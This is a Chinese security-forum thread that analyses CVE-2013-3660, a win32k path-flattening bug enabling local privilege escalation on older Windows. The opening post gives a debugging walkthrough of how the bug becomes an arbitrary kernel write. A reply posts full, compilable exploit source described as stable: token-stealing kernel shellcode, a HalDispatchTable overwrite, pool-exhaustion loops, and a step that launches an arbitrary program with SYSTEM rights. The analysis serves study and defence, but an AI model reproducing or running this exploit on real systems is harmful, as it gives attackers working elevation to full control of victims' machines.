首页
论坛
专栏
课程

[原创]CVE-2013-3660漏洞分析

2013-9-1 18:32 7364

[原创]CVE-2013-3660漏洞分析

2013-9-1 18:32
7364
人生第一次发技术贴,比较忐忑
   
    这个漏洞出来一段时间了,一直都很感兴趣,最近才有点时间,就研究了一下,成果给大家分享一下。里面有不对的地方和比较2的调试方法,高手轻拍

    文章稍微有点长,大家先看pdf,有问题一起讨论

--------------------------------------------------------------------------------
CVE-2013-3660 分析
by isng
简介
  这个漏洞是 Tavis Ormandy 大神发现,可以本地权限提升,漏洞触发到利用都比较神奇, 就研究了一番,分析中可能出现不对的地方。
  漏洞发生在 win32k.sys,path 子系统。主要触发在将贝塞尔曲线直线化的过程中。关于 path 子系统和贝塞尔曲线,有一些介绍:
http://msdn.microsoft.com/en-us/library/windows/desktop/dd162779(v=vs.85).aspx http://zh.wikipedia.org/wiki/%E8%B2%9D%E8%8C%B2%E6%9B%B2%E7%B7%9A

漏洞原理分析

关于 path 子系统的一些说明

关键数据结构:


图 1

Path 子系统主要实现了上面的三个结构(确切的说是类)。
  PATHRECORD 结构是 path 子系统主要操作的结构,对其直线化操作就是对 PATHRECORD 操作。PATHRECORD 结构构成了一个双向链表,pprnext,pprprev 分别为前后项指针,flags 为 类型比如像 PD_BEZIERS。Count 为点的数量。POINTFIX 记录了各种坐标点。
  PATHALLOC 是分配 PATHRECORD 的容器。当需要新建一个 PATHRECORD 时候,首先从 ppachain->pprfreestart  指向 的 地址 开 始 , 判断该  PATHALLOC  是否 还有空 间 分配 一个 PATHRECORD,若有则以 pprfreestart 指向的地址分配新 PATHRECORD,freestart 指针向下移 动;若空间不够,则分配一个新的 PATHALLOC,链入 ppachain 指向链表的链表头,再从新建 的 PATHALLOC 里的 pprfreestart 开始分配内存。由此可见,系统分配 PATHRECORD,实际上 是通过 PATHALLOC 结构实现的。ppanext 后向指针,pprfreestart 指向当前 PATHALLOC 内的空 闲空间。siztPathAlloc 是 PATHALLOC 的大小。当然 PATHALLOC 还有一些非常关键的静态数据 成员,比如 freelist,cFree 等,后面会再说。
  PATH 结构主要被用在 EPATHOBJ 类中,这个类实现了一些操作 path 的函数,漏洞触发 的关键函数 pprFlattenRec 就在这里实现的。ppachain 指向了 PATHALLOC,pprfirst 指向第一 个 PATHRECORD,pprlast 指向最后一个。

freepathalloc 和 newpathalloc 函数

  Freepathalloc 和 newpathalloc 函数是释放和分配 PATHALLOC 结构的函数。在 PATHALLOC 类中,有一个静态成员 freelist。这个 freelist 指向 PATHALLOC 的链表,链表最多有 4 个结点。         释放 PATHALLOC 时,先判断 freelist 里的结点是否大于 4,大于直接就用 ExFreePool 释 放掉;小于就链入到 freelist 里,然后 cFree 加 1(cFree 记录 freelist 有多少结点)。         新建 PATHALLOC 时,先从 freelist 里取结点,链入到 ppachain 上。若 freelist 为空,才通 过调用 PALLOCMEM()->ExAllocatePoolWithTag 实现结点分配。

有问题的地方

出问题的地方在 pprFlattenRec 函数的执行过程中,执行步骤大致为:
1. 参数为当前的 ppr
2. 创建一个新的 PATHRECORD *pprNew
3. pprNew->pprprev = ppr->pprprev;
pprNew->pprprev->pprnext = pprNew;
4. Flatten 操作???
……
if (newpathrec(&pprNewNew,&maxadd,MAXLONG) != TRUE) return((PPATHREC) NULL);
……
5. pprNew->pprnext = ppr->pprnext;
pprNew->pprnext->pprprev = pprNew;

实质就是把要 Flatten 的结点摘除链表,把新的结点插入原来的位置。第三个步骤是修改新结点前向指针,第五个步骤是修改新结点的后向指针。但是有一个问题,如果第四步, newpathrec 返回的不是 TRUE,即新建 PATHRECORD 不成功,就会直接返回。第五步 pprNew 的后向指针就没有被赋值了。如下图的样子。


图 2

   如果函数直接从第四步返回,这个 pprnext 值会有两种情况。一种是 pprnext=0,另一种 就不一定了。pprnext 为  0,是因为创建一个新的  PATHRECORD *pprNew 时候,会调用 newpathrec->newpathalloc->PALLOCMEM , PALLOCMEM 分配内存后,会将这段内存的数据全 部初始化为 0,这样就不会产生问题。刚才说的另一种不一定情况是怎么回事呢?path 子系 统的内存分配依赖于 PATHALLOC 结构。这种情况有两种可能:
  1. Newpathrec 判断,如果 PATHALLOC 结构的 freestart 指向的地址还有空闲内存就不调用 newpathalloc,而这个 PATHALLOC 分配的时候,可能是从 freelist 里直接摘下来的,这样就没 有 PALLOCMEM 置 0 的操作,这个 pprnext 可能就是上次内存残留的值。
  2. Newpathrec 判断,如果 PATHALLOC 结构的 freestart 指向的地址空闲内存不足,就调用 newpathalloc,而此时 freelist 还有 PATHALLOC 结点,就直接从 freelist 摘下该结点,链入到 ppachain 中,再从里面拿一段空间给 pprNew。这种情况下,pprNew->pprnext 的值也是上次 内存中残留的数值。
  这两种情况其实是最初的猜想,以 Tavis Ormandy 大神的漏洞触发方式,调试时候发现, 是第一种情况。
  这样问题就比较显然了,这个时候,函数从 pprFlattenRec 返回到 bFlatten 函数,然后返 回系统调用。利用代码里再次调用 Flatten,会在 bFlatten 函数中,沿着 pathrecord 的链作一 些判断,当走到上次没赋值的 pprnext 时候,这个地址可能非法,就出错了。
  还有一个关键性问题忘说了,就是会大量调用 CreateRoundRectRgn 函数,消耗内存池, 让 newpathalloc 分配内存失败,为什么用这个函数比较合适,没有再深入研究了。

调试过程

调试的 POC 是把网上下载的利用代码精简以后的。调试环境是 XP sp3
 主要调试关键的循环,就是 BeginPath 开始的循环,经过几次循环后再下断点。 首先在 win32k!NtGdiBeginPath 会调用到 freepathalloc 函数,看一下这个过程。

图 3

  因为已经调试过了,就直接在 freepathalloc 地方下断了。win32k!NtGdiBeginPath 会将上 一次的  pathalloc 回收,直接链入到  freelist 里。图上面内存  e117e214,e117e754  都是 PATHRECORD 结点。3e0000 是我们控制的 POINTS 地址。
然后看一下 PolyDraw 这个函数有哪些关键的动作。


图 4
  PolyDraw 通过 GrePloyDraw 实现,看函数调用栈就可以大致有些发现,addpoints 加入 点的信息。先创建 PATHRECORD,然后向里面写入数据。当然 PATHRECORD 的创建依赖于 PATHALLOC,这里面直接从 freelist 里摘下链表,然后 cFree 减。可以看到,分配的 PATHALLOC

结构里还残留了上次的。调到这个时候,被同学关电源了,悲剧。。。数据可能对不上,流程 上还可以继续,不影响理解。
创建之后,进入下面这个 bXformRound 函数,进行数据复制操作。


图 5
  第一个参数是拷贝源,可以看到里面是 3e000,第二个参数是拷贝目的地址,这里面是 上一次的数据 3e0000。这两个值差了一个移位操作。

果然,这里面有一个 shl    esi,4。这就可以理解,为什么利用代码里会有 PathRecord 地址右 移操作。如下图


图 6
调试时候,这个 PathRecord 为 0x3e0000。
接着调用的 EndPath 感觉没做什么关键性的操作。
  下面的 Flatten 能否触发漏洞,就有点概率性问题了,所以循环这么多次有这个因素吧。 这个地方调试的时候要循环很多次,只好用条件断点了。断点信息如下:


图 7
  bf8b8b3e        0001 (0001) win32k!EPATHOBJ::newpathrec+0x67 ".if(poi(@eax)=0x3e0000){dd
eax;gc} .else{gc;}"


bf882074         0001 (0001) win32k!EPATHOBJ::pprFlattenRec+0x118 ".if(@eax=0){} .else{gc;}"


图 8
在 bf8b8b3e 下断点就是看看新建的 pathrecord 里面的值,可以看到现在这里面都是 0x3e0000。 然后 bf882074 地址处创建 pathrecord 失败,函数要返回。


图 9
可以看到,函数返回后,pathrecord 链里,已经有刚才新建的 pathreocrd 了。后向指针没有 被赋值,还是 0x3e0000,这次会返回到用户态。下次再调用 Flatten 函数,就会产生问题了。


图 10

图 11
漏洞利用分析

  关于这个漏洞的利用,感觉 Tavis 大牛的方法巧妙。以他的这种思路利用这个漏洞,有 两个难点:
1.  如何转化成任意地址写
2.  其实后面可以看到,写入的 DWORD 是一个不可控的值,这个怎么利用

下面具体分析这个漏洞的利用方法

如何转化成任意地址写

先看一下 exploit 代码里相关部分

图 12

  这里我们所控制的 PathRecord->next 指针指向了自身,flags 被赋值为 0。Tavis 的注 释也说的比较明白,flags 如果是 PD_BEZIERS(0x10),就会进入 pprFlattenRec()函数。为 了只是在 bFlatten()中无限循环,等待我们下一步的操作,所以这里赋值为 0。这个无限 循环,利用了 bFlatten()中的一段代码。

图 13

   这里面 eax 是 path 结点的首地址。[eax+8]代表 flags,test byte ptr[eax+8],10h 就 是判断这个结点的 flags 是否含有 PD_BEZIERS。若有则进入 pprFlattenRec()函数,这里 面现在还不希望进入该函数,所以 flags 为 0。mov eax,[eax]取下一个结点,继续循 环。对应的源码如下图。

图 14

现在只是在一个地方循环,如何得到利用呢,看到 exp 中有这么一段代码。

图 15

   这个函数是一个线程的执行函数,红色框中的函数比较关键。将 PathRecord-〉 next 的指针修改为 ExploitRecord 的地址。这个线程也就是使 PathRecord 的下一个结点 为 ExploitRecord(因为现在 PathRecord 地址为一个用户态地址,我们控制的)。那 ExploitRecord 这个结点里的数据是什么?


图 16

   这里的 next 指向的地址为什么是这个,后面再说。prev 指向 HalDispatchTable[1]的 地址,有过内核漏洞利用经验的同学在这步应该能猜到,这个 prev 指向的地址就是要 写入的任意地址。这个 count 的取值没有作研究。
图 15 中的线程等待一定时间,就会执行,修改在 bFlatten 函数中无限循环的
PathRecord 的后向指针。该线程执行完毕,又会回到 bFlatten 函数中。此时就可以解析 到 ExploitRecord,由于 ExploitRecord 的 flags 含有 PD_BEZIERS,这样就会进入 pprFlattenRec()函数的执行流程,因此可以利用里面的对链表的一处操作,达到任意地 址写。
下面分析,pprFlattenRec()函数,如何导致任意地址写。

图 17

  图 17 为 pprFlattenRec(PATHRECORD *ppr) 函数的一段代码。红色框内的语句是漏洞 利用的关键语句。pprNew 是 newpathrec 新创建的 pathrecord 结点。调用 newpathrec 后,有一句 pprNew->pprprev=ppr->pprprev。这个时候,ppr 为 ExploitRecord 的指针 (ExploitRecord 通过参数传入),这一句相当于 pprNew-> pprprev= &HalDispatchTable[1]。 又因为 pprnext 在 pathrecord 结构中偏移为 0。这样,红色框内的代码,就相当于修改 了 HalDispatchTable 表第一个函数的地址。是不是很像堆溢出的利用过程。本以为已经 可以利用的差不多了,但是这里出现一个问题。。。
   写入的值貌似是个不可控值,pprNew 是 newpathrec 分配的(newpathrec 的实现前 面说明过)。这个就是最早提出的第二个问题。

怎么利用这个貌似不可控的值

  图 16 中有一句代码没有解释,ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;这个就是用来解决该问题的。

图 18

  图 18 就是 pprFlattenRec()函数,在返回前,修改 pprNew 后向指针的操作。注意红 色框内的操作 pprNew->pprnext = ppr->pprnext; 这条语句,会向 pprNew 指向的地址处 写入一个 dword 数据,即*DispatchRedirect。调试发现,这个值为 40 ff 65 40 ,所代表 的汇编码正是 inc eax    jmp [ebp+0x40] 。


图 19

这样,就相当于向这个不可控的地址写入了一个跳板指令。当我们通过调用
NtQueryIntervalProfile 触发 shellcode 时,会进入到不可控地址 pprNew 所指向的地址,此 时这个地址有指令 inc eax    jmp [ebp+0x40]。Inc eax 不影响,jmp [ebp+0x40]会最终跳入到 提权的 shellcode 里。为什么 jmp [ebp+0x40]会跳入到 shellcode 中?
  EXP 代码中有这么一句 Interval = (PULONG) ShellCode; Interval 会被当作 NtQueryIntervalProfile 的第二个参数,又因为
nt!NtQueryIntervalProfile->nt!KeQueryIntervalProfile-> call [nt!HalDispatchTable+0x4]。因此执 行到跳板地址的时候,ShellCode 函数的地址总是在栈上,而且只要这几个函数的参数不 变,这个偏移也都不会改变,这里是[ebp+0x40]。

利用过程中的其他细节

  上面图 19 中那么多指令,而且还出现 inc eax 这种,这些看似很多余,有什么用意?由 于 pathrecord 链表已经被我们控制了,要达到利用效果,重要的是在向 HalDispatchTable 写 完数据后,可以从 bFlatten 安全返回。
  上面解释了,为了利用成功,ExploitRecord.next= (PPATHRECORD) *DispatchRedirect。在 pprFlattenRec 返回后,会取到 ExploitRecord.next 作为下一个 pathrecord,若 ExploitRecord.next 地址未分配,肯定是各种异常。因此需要以*DispatchRedirect 为地址,分 配内存,为了用户态能分配成功,这个地址必须比较合适才行,因此就用到了 inc eax,和 后面的 jmp [ebp+0x40]组成了地址 4065ff40。当然为了防止在 4065f000 上内存分配失败, Tavis 又作了其他备选方案,就出现了后面的 inc ecx, inc edx, inc ebx, inc esi…..分别为 41, 42,43。。。。中间跳过了 inc esp ,inc ebp 这个原因比较显然,就不说了。


图 20
  图 20 可以看到,依据*DispatchRedirect 分配内存,如果无法分配,就取到下一个 DWORD。直到成功分配。分配后还作了下面的操作。

图 21

结合图 16 中的 ExploitRecord.next= (PPATHRECORD) *DispatchRedirect。也就是使
ExploitRecord.next=ExploitRecordExit。ExploitRecordExit 的 next 域为 0,这样就可以在
bFlatten 函数中跳出循环,然后安全返回。可见这个*DispatchRedirect,将一个看似不可控 的地址转化为一个跳板,又可以使运行不出错(大致就这个意思,表达不明白了。。。)。

总想把里面的东西都说清楚,就写的有点乱了,其实调试一下就明白很多了。。。

漏洞利用的调试

这一部分只讲利用的过程,所以下了一个条件断点,bp
win32k!EPATHOBJ::pprFlattenRec+0x118 ".if(@eax=0){} .else{gc;}" 就是在 pprFlattenRec 函数 中,第二个 newpathrec 返回后,判断返回值有概率性的,有可能漏洞没有触发。。等于 0 就断下来。这个是
断下来后,返回到 bFlatten 函数里,看一下此时 pathrecord 链里面的东西。

图 22

地址 0x970000,就是利用代码里 PathRecord 地址,可以看到 next 指针指向了自身。说明 触发成功,接下来系统调用返回。第二次调用 Flatten,又进入到 bFlatten 函数。这时候就 在里面无限循环了,就不截图了,执行几次后,修改 PathRecord 的线程得到执行。我在调 试机上,用 OD 加载了漏洞利用程序(这个方法比较 2。。。。。。),这时看到 OD 断在了该线程 的执行函数里。

图 23

图 24
417020 就是 ExploitRecord 的地址,执行 InterlockedExchange 后,PathRecord 的 next 就被改 成 ExploitRecord 了。


图 25

这个时候要进入 pprFlattenRec 了。8054683c 就是要向该地址写入数据。


图 26
  ExploitRecord->next 为 4065ff40,指向 ExploitRecordExit 结点,EXP 代码里事先已经在 这个地址上分配了内存。并且注意  40 ff 65 40 为    inc eax    jmp [ebp+0x40]。


图 27
  ExploitRecordExit 的 next 指针为 0,这样就可以在写完数据后,从 bFlatten()函数里安 全返回了。
  进入 pprFlattenRec()函数里,在第一次调用 newpathrec 之后,观察一下 pprNew 的
值。


图 28

  e29f9014 就是新创建的 pprNew 结点。接下来会对 pprNew 的前向结点赋值为 ppr->pprev。pprNew 的 flags,count 初始化,就不截图了。         下面就是关键的任意地址写部分了。


图 29

  Esi 是  pprNew 地址,esi+4 是  pprNew->pprev(8054683c)。前面修改前向指针时,把 ExploitRecord 的 pprev 写入了这个地方,所以是 8054683c。执行第一个红色框,即         pprNew->pprprev->pprnext = pprNew

  现在,在 HalDispatchTable[1]的地方如愿写入了一个值(pprNew 的地址),虽然现在这个 值看似不可控制。继续调试,一直到一个地方。。。

图 30


图 31
  图 30 的这部分汇编指令,实现了 pprNew->pprnext = ppr->pprnext 。这个时候,地址 e29f9014 写入了跳板指令。这个时候基本任务就完成了。然后返回到 bFlatten 里,再取下 一个结点 ExploitRecordExit,由于这个结点的 flags 为 0,就不进入 pprFlattenRec()函数,下 一轮循环,它的 next 为 0,就继续返回了,然后返回到用户态。
  最后调用 NtQueryIntervalProfile 触发漏洞,在 nt!KeQueryIntervalProfile+0x31 处下断
点。


图 32

这样可以看到通过跳板指令,直接跳入了提权 shellcode 的地方,401060 就是
shellcode 的起始地址,后面就不分析了,就是普通的替换 token 的操作了。最后就提权 了。

参考资料:
http://blog.cmpxchg8b.com/2013/05/introduction-to-windows-kernel-security.html http://www.exploit-db.com/exploits/25611/
王宇 epath_cn.pdf(就是台湾黑客年会的一个 ppt)

[公告][征集寄语] 看雪20周年年会(12.28上海) | 感恩有你,一路同行

上传的附件:
最新回复 (19)
viphack 4 2013-9-1 18:34
2
0
mark ~ ~! 大家一起嗑瓜子
天高 2013-9-1 18:35
3
0
make
niuhacker 2013-9-1 20:32
4
0
mark
地狱怪客 2 2013-9-1 22:06
5
0
这种东西目前看不懂。。。
boywhp 12 2013-9-1 22:18
6
0
卧槽,难道你们都没见过我发的稳定exp源码?
http://www.binvul.com/viewthread.php?tid=343&extra=page%3D1
/* 
 * windows EPATHOBJ::pprFlattenRec bug poc by boywhp@126.com
 * tested in windows 2003 x86
 * THX -> http://www.vupen.com/blog/20130723.Advanced_Exploitation_Windows_Kernel_Win32k_EoP_MS13-053.php
 */

#include <stdlib.h>
#include <stdio.h>
#include <STDARG.H>
#include <stddef.h>
#include <windows.h>
#include <Shellapi.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")

//1024 * 4k = 4M
#define MAX_PAGES       1024
#define MAX_POLYPOINTS (MAX_PAGES*498)                 

POINT   Points[MAX_POLYPOINTS];
BYTE    PointTypes[MAX_POLYPOINTS];

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010

#define ENABLE_SWITCH_DESKTOP	1

typedef struct  _POINTFIX
{
        ULONG x;
        ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
        struct _PATHRECORD *next;
        struct _PATHRECORD *prev;
        ULONG               flags;
        ULONG               count;
        POINTFIX            points[4];
} PATHRECORD, *PPATHRECORD;

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
        HANDLE Section;                 // Not filled in
        PVOID MappedBase;
        PVOID ImageBase;
        ULONG ImageSize;
        ULONG Flags;
        USHORT LoadOrderIndex;
        USHORT InitOrderIndex;
        USHORT LoadCount;
        USHORT OffsetToFileName;
        UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
        ULONG NumberOfModules;
        RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef INT ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef INT ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef INT ( __stdcall *NtReadVirtualMemory_)( HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef PVOID (__stdcall *PsGetCurrentProcess_)();
typedef PVOID (__stdcall *PsReferencePrimaryToken_)(PVOID Process);
typedef INT (__stdcall *PsLookupProcessByProcessId_)(HANDLE ProcessId, PVOID *Process);

NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtQuerySystemInformation_ NtQuerySystemInformation;
NtReadVirtualMemory_ NtReadVirtualMemory;

typedef struct _ShellCodeInfo{
        PVOID* MmUserProbeAddress;
        PVOID* WriteToHalDispatchTable; 
        PVOID  NtSetEaFile;
        PVOID* PsInitialSystemProcess;
        DWORD  Pid; 
        PsGetCurrentProcess_ PsGetCurrentProcess;
        PsLookupProcessByProcessId_ PsLookupProcessByProcessId;
        PsReferencePrimaryToken_ PsReferencePrimaryToken;
} ShellCodeInfo, *PShellCodeInfo;

ShellCodeInfo   GlobalInfo;

PPATHRECORD     pExploitRecord;                 // 必须对齐 (>>4) ,使用动态申请
PATHRECORD      ExploitRecordExit = {0};

#if defined (_WIN64)
#define MAX_FAST_REFS 15
#else
#define MAX_FAST_REFS 7
#endif

int __stdcall ShellCode(PVOID x, PVOID y, PShellCodeInfo* pInfo, PVOID w)
{
        PShellCodeInfo info; //__SHELL_CODE_MAGIC;
        PVOID targetProcess, sysProcess, token;
        ULONG_PTR *p1, *p2;
        
        //info = *pInfo;
#ifdef _WIN64  
        info = (PShellCodeInfo)0x13A80;
        /* FIX MmUserProbeAddress -> ((ULONG_PTR)(0x80000000000UI64 - 0x10000)) */
        *info->MmUserProbeAddress = ((ULONG_PTR)(0x80000000000UI64 - 0x10000));
#else
        //info = (PShellCodeInfo)0x136E0;
        info = *pInfo;
        *info->MmUserProbeAddress = 0x7fff0000;
#endif
        /* x64 4参数: rcx, rdx, r8, r9 -直接c3即可 */
        *info->WriteToHalDispatchTable = info->NtSetEaFile;
        
        //if (info->PsLookupProcessByProcessId(info->Pid, &targetProcess) != 0)
        //        return 0xC0000019; 
        
        p1 = targetProcess = info->PsGetCurrentProcess();
        p2 = sysProcess = *info->PsInitialSystemProcess;
        token = info->PsReferencePrimaryToken(sysProcess);
        
        /* token 4bit->refcnt */
        while ((*p2 & ~MAX_FAST_REFS) != token){
                p1++;
                p2++;
        }
        
        *p1 = token;
        
        return 0xC0000018;
}

static int do_expoite(PVOID* addr, PVOID val, PBYTE cmd, PBYTE argv)
{
        HDC     expDc, curDc = NULL;
        ULONG   i;
        ULONG   Size;
        INT     ret = -1;
        PBYTE   tmp = NULL;
        HDC     tmpHdc[8096] = {0};
        ULONG   hdcNum = 0;
        BYTE    progressT[] = "-\\|/-\\|/";

        //init ExploitRecordExit node 
        ExploitRecordExit.next = NULL;
        ExploitRecordExit.next = NULL;
        ExploitRecordExit.flags = PD_BEGINSUBPATH;
        ExploitRecordExit.count = 0;

        //
        //ensue ExploitRecord.next -> valid address and end record
        //ExploitRecord.next -> ExploitRecordExit node
        //
        pExploitRecord = VirtualAlloc(NULL, 
                sizeof(PATHRECORD), 
                MEM_COMMIT | MEM_RESERVE, 
                PAGE_READWRITE);

        pExploitRecord->next  = &ExploitRecordExit;
        pExploitRecord->prev  = (PPATHRECORD)addr;
        pExploitRecord->flags = PD_BEZIERS | PD_BEGINSUBPATH;
        pExploitRecord->count = 4;

        printf("Alllocated PATHRECORDS:%p %p\n", 
                        pExploitRecord,
                        &ExploitRecordExit); 

        tmp = malloc((int)ShellCode);
        
        //
        // Generate a large number of Belier Curves made up of pointers to our
        // PATHRECORD object.
        //
       
        for (i = 0; i < MAX_POLYPOINTS; i++) {
#ifdef _WIN64 
                Points[i].x      = (ULONG)(pExploitRecord) >> 4;
                Points[i].y      = 0;//(ULONG)(pExploitRecord) >> 4;
#else
                Points[i].x      = (ULONG)(pExploitRecord) >> 4;
                Points[i].y      = (ULONG)(pExploitRecord) >> 4;
#endif
                PointTypes[i]    = PT_BEZIERTO;
        }
        
        /* MAX_PT_NUM = e194dfb8 - e194d028 = f90/sizeof(PT) = 1F2 = 498
        e194d008  e199d008 e194dfbc 00000fc0 e199d014  e199d008->prev alloc e194dfbc->freestart 00000fc0 total_size
        e194d018  00000000 00000011 000001f3 00000000
        e194d028  00000000 14141410 24242420 14141410
        e194d038  24242420 14141410 24242420 14141410
        ...
        e194dfa8  24242420 14141410 24242420 14141410
        e194dfb8  24242420 00000000 00000000 00000000
         * 调试:
         * 1 使用498*4首先将系统的freelist清0; <-我虚拟机初始就有3个节点
         * 2 第二次PolyDraw少几个节点 (必须 > 8),这样就会有几个PT的空间腾出了
         * 3 FlattenPath
         *      第一次调用EPATHOBJ::newpathrec (*pcMax = e > 8 不会调用win32k!newpathalloc)
                直接返回一个指向0x414141 0x42424242内存区域
                第二次调用EPATHOBJ::newpathrec->win32k!newpathalloc此时freelist=NULL,调用win32k!PALLOCMEM
                此时如果内存分配失败,或者自己在用winbdg改成NULL
                此时新创建的newpathrec已插入EPath->ppath->pprfist 但是 newpathrec->next = 0x41414140
           4 FlattenPath
                内存违规!!!
         */

        expDc = CreateCompatibleDC(GetDC(NULL));
        
        while (curDc = CreateCompatibleDC(GetDC(NULL))) {
                tmpHdc[hdcNum++] = curDc;
try_again:
                BeginPath(curDc);
                if (!PolyDraw(curDc, Points, PointTypes, MAX_POLYPOINTS)){

                        BeginPath(expDc);
                        PolyDraw(expDc, Points, PointTypes, 498);
                        EndPath(expDc);
                        
                        BeginPath(expDc);
                        PolyDraw(expDc, Points, PointTypes, 498-15);
                        EndPath(expDc);

                        for (i=MAX_PAGES-1; i>0; i--){
                                BeginPath(curDc);
                                if (PolyDraw(curDc, Points, PointTypes, 498*i)){
                                        printf("start poc %d...\n", i);                                        

                                        FlattenPath(expDc);

                                        //free the last -> freelist
                                        BeginPath(curDc);

                                        FlattenPath(expDc);

                                        //do exp
                                        ret = NtReadVirtualMemory((HANDLE)-1, 
                                                tmp, 
                                                tmp, 
                                                (SIZE_T)ShellCode, 
                                                GlobalInfo.WriteToHalDispatchTable
                                                );
                                        
                                        if (ret == 0){
                                                NtQueryIntervalProfile(&GlobalInfo, &ret);
                                                printf("[*] exploit...%x!\n", ret);
                                                ret = 0;
                                        } else {
                                                printf("exp faild :-<!\n");                                               
                                                
                                                ret = -1;
                                                goto try_again;
                                        }

                                        goto clean_up;
                                }
                        }
                }
                printf("%c\r", progressT[(hdcNum/8) % 8]);
        }

clean_up:
        printf("cleaning up...\n");

        for (i = hdcNum; i > 0; i--)
                DeleteDC(tmpHdc[i]);

        free(tmp);
        VirtualFree(pExploitRecord, 0, MEM_RELEASE);

        return ret;
}

int main(int argc, char **argv)
{

        HMODULE ntoskrnl = NULL;
        LONG ret;
        BOOL bRet = FALSE;
        HMODULE  ntdll;
        PRTL_PROCESS_MODULES mod = (PRTL_PROCESS_MODULES)&mod;
        PBYTE osBase;
        HMODULE hDllOs;      
        ULONG NeededSize;
        INT expCount = 0;

        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};

        si.cb = sizeof(si);

        //GlobalInfo.Pid = GetCurrentProcessId(); //pi.dwProcessId;
        printf("------------ epath Exp by boywhp@126.com ------------\n\n");

        ntdll = GetModuleHandle("ntdll.dll");

        NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress(ntdll, "NtQueryIntervalProfile");
        NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress(ntdll, "NtQuerySystemInformation");
        NtReadVirtualMemory = (NtReadVirtualMemory_)GetProcAddress(ntdll, "NtReadVirtualMemory");

        if (!NtQueryIntervalProfile 
                || !NtQuerySystemInformation
                || !NtReadVirtualMemory){
                printf("error get ntdll fun address\n");
                return -1;
        }                
        
        /*
        * NtQuerySystemInformation query sys module info
        * STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
        */
        ret = NtQuerySystemInformation(11, mod, 4, &NeededSize);
        if (0xC0000004 == ret){
                mod = malloc(NeededSize);
                ret = NtQuerySystemInformation(11, mod, NeededSize, NULL);
                
        }
        
        printf("ntos:%s->%p\n", 
                mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName,
                mod->Modules[0].ImageBase);
        
        osBase = mod->Modules[0].ImageBase;
        hDllOs = LoadLibraryA((LPCSTR)(mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName));
        if (!hDllOs){
                printf("error reload os kernel\n");
                return -1;
        }
        free(mod);
        
        GlobalInfo.WriteToHalDispatchTable = (PBYTE)GetProcAddress(hDllOs, "HalDispatchTable") 
                - (PBYTE)hDllOs + osBase + sizeof(PVOID);
        GlobalInfo.PsInitialSystemProcess = (PBYTE)GetProcAddress(hDllOs, "PsInitialSystemProcess") 
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.PsReferencePrimaryToken = (PBYTE)GetProcAddress(hDllOs, "PsReferencePrimaryToken") 
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.PsGetCurrentProcess = (PBYTE)GetProcAddress(hDllOs, "PsGetCurrentProcess") 
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.PsLookupProcessByProcessId = (PBYTE)GetProcAddress(hDllOs, "PsLookupProcessByProcessId") 
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.MmUserProbeAddress = (PBYTE)GetProcAddress(hDllOs, "MmUserProbeAddress") 
                - (PBYTE)hDllOs + osBase; 
        GlobalInfo.NtSetEaFile = (PBYTE)GetProcAddress(hDllOs, "NtSetEaFile") 
                - (PBYTE)hDllOs + osBase;

        printf("Info %p \nHalDispatchTable %p MmUserProbeAddress %p NtSetEaFile %p \n", 
                        &GlobalInfo,
                        GlobalInfo.WriteToHalDispatchTable, 
                        GlobalInfo.MmUserProbeAddress,
                        GlobalInfo.NtSetEaFile);

        do_expoite(GlobalInfo.MmUserProbeAddress, 
                NULL, 
                argv[1], 
                argc > 2 ? argv[2] : NULL);
        
        printf("[*]exe %s\n", argv[1]);
        if (!CreateProcess(NULL,        // No module name (use command line)
                argv[1], 
                NULL,
                NULL,
                FALSE,
                0,                      //CREATE_NEW_CONSOLE | CREATE_SUSPENDED, 
                NULL,
                NULL,
                &si,
                &pi)){
                printf("CreateProcess failed (%d)./n", GetLastError());
                return -1;
        }
        
        //ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);

        return 0;
}

快雪时晴 4 2013-9-1 23:54
7
0
http://www.binvul.com/
是个不错网站

请问哪里有比较及时、全面的0day exploit 漏洞公布和利用的网站 影响比较大的
天高 2013-9-2 00:24
8
0
make
isng 1 2013-9-2 08:39
9
0
惭愧啊,才发现。。。跟不上节奏的感觉,谢谢boywhp大牛的源码,向你学习
isng 1 2013-9-2 08:43
10
0
metasploit,exploit-db,大牛们的博客了,各种论坛吧~~
稻草人Z 2 2013-9-2 09:59
11
0
mark
快雪时晴 4 2013-9-2 12:28
12
0
谢谢分享,milw0rm,wooyun也都不错
nicaicaiwo 2 2013-9-2 22:58
13
0
请问,版主,如何知道数据结构之间的关系的?难道是逆向出来或者windbg调试出来的?还是看wrk源代码?
isng 1 2013-9-3 09:28
14
0
参考的nt4的源码,再调一调就可以啦
shangrila 2013-9-3 09:51
15
0
mark
nicaicaiwo 2 2013-9-3 15:10
16
0
谢谢版主,看nt源码!!!!
kingsunnyv 2013-9-4 16:49
17
0
mark,顶一下楼主。
nicaicaiwo 2 2013-9-10 08:56
18
0
